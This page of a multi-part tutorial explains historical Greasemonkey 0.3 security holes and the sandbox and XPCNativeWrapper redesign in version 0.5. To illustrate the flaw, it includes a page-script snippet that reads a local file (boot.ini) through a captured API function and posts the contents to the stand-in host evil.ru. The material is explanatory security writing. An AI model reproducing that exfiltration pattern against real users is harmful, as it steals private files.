advertisement

Print

Avoid Common Pitfalls in Greasemonkey
Pages: 1, 2, 3, 4, 5

Security Hole #3: Local File Access

Greasemonkey 0.3 had one more fatal flaw. By issuing a GET request on a file:// URL that pointed to a local file, user scripts could access and read the contents of any file on your hard drive. This is disturbing by itself, but it is especially dangerous when coupled with leaking API functions to remote page scripts. The combination of these security holes meant that a remote page script could steal a reference to the GM_xmlhttpRequest function, call it to read any file on your hard drive, and then call it again to post the contents of that file anywhere in the world:



<script type="text/javascript">
// _GM_xmlhttpRequest was captured earlier,
// via security hole #2

_GM_xmlhttpRequest({
  method: "GET",
  url: "file:///c:/boot.ini",
  onload: function(oResponseDetails) {
    _GM_xmlhttpRequest({
      method: "POST",
      url: "http://evil.ru/",
      data: oResponseDetails.responseText
    });
  }
});
</script>

Redesigning From the Ground Up

All of these problems in Greasemonkey 0.3 stem from one fundamental architectural flaw: it trusts its environment too much. By design, user scripts execute in a hostile environment, an arbitrary web page under someone else's control. We want to execute semi-trusted, semi-privileged code within that environment, but we don't want to leak that trust or those privileges to potentially hostile code.

The solution is to set up a safe environment where we can execute user scripts. The sandbox needs access to certain parts of the hostile environment (like the DOM of the web page), but it should never allow malicious page scripts to interfere with user scripts, or intercept references to privileged functions. The sandbox should be a one-way street, allowing user scripts to manipulate the page but never the other way around.

Greasemonkey 0.5 executes user scripts in a sandbox. It never injects a <script> element into the original page, nor does it define its API functions on the global window object. Remote page scripts never have a chance to intercept user scripts, because user scripts execute without ever modifying the page.

But this is only half the battle. User scripts might need to call functions in order to manipulate the web page. This includes DOM methods such as document.getElementsByTagName and document.createElement, as well as global functions such as window.alert and window.getComputedStyle. A malicious web page could redefine these functions to prevent the user script from working properly, or to make it do something else altogether.

To solve this second problem, Greasemonkey 0.5 uses a little-known Firefox feature called XPCNativeWrappers. Instead of simply referencing the window object or the document object, Greasemonkey redefines these to be XPCNativeWrappers. An XPCNativeWrapper wraps a reference to the actual object, but doesn't allow the underlying object to redefine methods or intercept properties. This means that when a user script calls document.createElement, it is guaranteed to be the real createElement method, not some random method that was redefined by the remote page.

Going Deeper

In Greasemonkey 0.5, the sandbox in which user scripts execute defines the window and document objects as deep XPCNativeWrappers. This means that not only is it safe to call their methods and access their properties, but it is also safe to access the methods and properties of the objects they return.

For example, you want to write a user script that calls the document.getElementsByTagName function, and then you want to loop through the elements it returns:

var arTextareas = document.getElementsByTagName('textarea');
for (var i = arTextareas.length - 1; i >= 0; i--) {
    var elmTextarea = arTextareas[i];
    elmTextarea.value = my_function(elmTextarea.value);
}

The document object is an XPCNativeWrapper of the real document object, so your user script can call document.getElementsByTagName and know that it's calling the real getElementsByTagName method. But what about the collection of element objects that the method returns? All of these elements are also XPCNativeWrappers, which means it is also safe to access their properties and methods (such as the value property).

What about the collection itself? The document.getElementsByTagName function normally returns an HTMLCollection object. This object has properties such as length and special getter methods that allow you to treat it like a JavaScript Array. But it's not an Array; it's an object. In the context of a user script, this object is also wrapped by an XPCNativeWrapper, which means that you can access its length property and know that you're getting the real length property and not calling some malicious getter function that was redefined by the remote page.

All of this is confusing but extremely important. This example user script looks exactly the same as JavaScript code you would write as part of a regular web page, and it ends up doing exactly the same thing. But you need to understand that in the context of a user script, everything is wrapped in an XPCNativeWrapper. The document object, the HTMLCollection, and each Element are all XPCNativeWrappers around their respective objects.

Greasemonkey 0.5 goes to great lengths to allow you to write what appears to be regular JavaScript code, and have it do what you would expect regular JavaScript code to do. But the illusion is not perfect. XPCNativeWrappers have some limitations that you need to be aware of. There are ten common pitfalls to writing Greasemonkey scripts, and all of them revolve around limitations of XPCNativeWrappers.

Pages: 1, 2, 3, 4, 5

Next Pagearrow